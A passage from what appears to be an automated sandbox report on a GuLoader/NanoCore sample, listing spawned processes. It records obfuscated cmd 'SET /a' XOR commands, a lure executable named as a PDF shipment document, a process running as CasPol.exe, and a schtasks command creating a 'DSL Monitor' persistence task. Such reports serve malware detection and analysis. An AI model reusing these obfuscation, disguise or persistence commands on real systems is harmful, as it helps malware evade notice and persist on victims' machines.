MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 8188, Parent PID: 1272

General

Target ID:	76
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6360, Parent PID: 2660

General

Target ID:	77
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x4D1F3C29^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3008, Parent PID: 6360

General

Target ID:	78
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5828, Parent PID: 2660

General

Target ID:	79
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x5C093A2C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6408, Parent PID: 5828

General

Target ID:	80
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 368, Parent PID: 2660

General

Target ID:	81
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x572D3037^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 4964, Parent PID: 368

General

Target ID:	82
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7364, Parent PID: 2660

General

Target ID:	83
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x11307537^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6888, Parent PID: 7364

General

Target ID:	84
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7420, Parent PID: 2660

General

Target ID:	85
Start time:	11:32:24
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0C75752C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7384, Parent PID: 7420

General

Target ID:	86
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3440, Parent PID: 2660

General

Target ID:	87
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x19686375^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 1436, Parent PID: 3440

General

Target ID:	88
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5720, Parent PID: 2660

General

Target ID:	89
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09697569^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5044, Parent PID: 5720

General

Target ID:	90
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6808, Parent PID: 2660

General

Target ID:	91
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x19307575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5688, Parent PID: 6808

General

Target ID:	92
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3524, Parent PID: 2660

General

Target ID:	93
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x15307575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5708, Parent PID: 3524

General

Target ID:	94
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3292, Parent PID: 2660

General

Target ID:	95
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x10307B37^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3060, Parent PID: 3292

General

Target ID:	96
Start time:	11:32:25
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6252, Parent PID: 2660

General

Target ID:	97
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0A64721C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5228, Parent PID: 6252

General

Target ID:	98
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6952, Parent PID: 2660

General

Target ID:	99
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x721C070B^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3172, Parent PID: 6952

General

Target ID:	100
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3016, Parent PID: 2660

General

Target ID:	101
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x7C156677^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 1512, Parent PID: 3016

General

Target ID:	102
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 4636, Parent PID: 2660

General

Target ID:	103
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x03630720^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5404, Parent PID: 4636

General

Target ID:	104
Start time:	11:32:26
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7588, Parent PID: 2660

General

Target ID:	105
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x583D132C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 580, Parent PID: 7588

General

Target ID:	106
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6120, Parent PID: 2660

General

Target ID:	107
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x553C7D2C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 6960, Parent PID: 6120

General

Target ID:	108
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 2644, Parent PID: 2660

General

Target ID:	109
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x4B6C7965^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7780, Parent PID: 2644

General

Target ID:	110
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6360, Parent PID: 2660

General

Target ID:	111
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x50792774^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 420, Parent PID: 6360

General

Target ID:	112
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5828, Parent PID: 2660

General

Target ID:	113
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x15793C65^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5788, Parent PID: 5828

General

Target ID:	114
Start time:	11:32:27
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 424, Parent PID: 2660

General

Target ID:	115
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09216475^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7412, Parent PID: 424

General

Target ID:	116
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 6888, Parent PID: 2660

General

Target ID:	117
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x09696575^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7364, Parent PID: 6888

General

Target ID:	118
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 7384, Parent PID: 2660

General

Target ID:	119
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x15733C65^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7420, Parent PID: 7384

General

Target ID:	120
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 1436, Parent PID: 2660

General

Target ID:	121
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0975752C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3440, Parent PID: 1436

General

Target ID:	122
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5044, Parent PID: 2660

General

Target ID:	123
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x19697C2C^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 5720, Parent PID: 5044

General

Target ID:	124
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 5688, Parent PID: 2660

General

Target ID:	125
Start time:	11:32:28
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x172B6678^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 7472, Parent PID: 5688

General

Target ID:	126
Start time:	11:32:29
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3524, Parent PID: 2660

General

Target ID:	127
Start time:	11:32:29
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x4C2A3037^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3380, Parent PID: 3524

General

Target ID:	128
Start time:	11:32:29
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.eXePID: 3060, Parent PID: 2660

General

Target ID:	129
Start time:	11:32:29
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\cmd.eXe
Wow64 process (32bit):
Commandline:	cmd.eXe /c SeT /a "0x0A6B6F7F^962155845"
Imagebase:
File size:	236544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: Conhost.exePID: 3292, Parent PID: 3060

General

Target ID:	130
Start time:	11:32:29
Start date:	05/08/2022
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 4156, Parent PID: 2660

General

Target ID:	136
Start time:	11:32:42
Start date:	05/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Original Shipment_Document.PDF.exe"
Imagebase:	0xa50000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000088.00000000.185799522780.0000000000E30000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Windows_Trojan_Nanocore_d8c4e3c5, Description: unknown, Source: 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5560, Parent PID: 4156

General

Target ID:	137
Start time:	11:32:42
Start date:	05/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff752620000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 908, Parent PID: 4156

General

Target ID:	138
Start time:	11:32:58
Start date:	05/08/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe" /create /f /tn "DSL Monitor" /xml "C:\Users\user\AppData\Local\Temp\tmp6DD1.tmp
Imagebase:	0x880000
File size:	187904 bytes
MD5 hash:	478BEAEC1C3A9417272BC8964ADD1CEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2212, Parent PID: 908

General

Target ID:	139
Start time:	11:32:58
Start date:	05/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff752620000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 6004, Parent PID: 1364

General

Target ID:	140
Start time:	11:32:59
Start date:	05/08/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe 0
Imagebase:	0x7c0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5856, Parent PID: 6004

General

Target ID:	141
Start time:	11:32:59
Start date:	05/08/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff752620000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
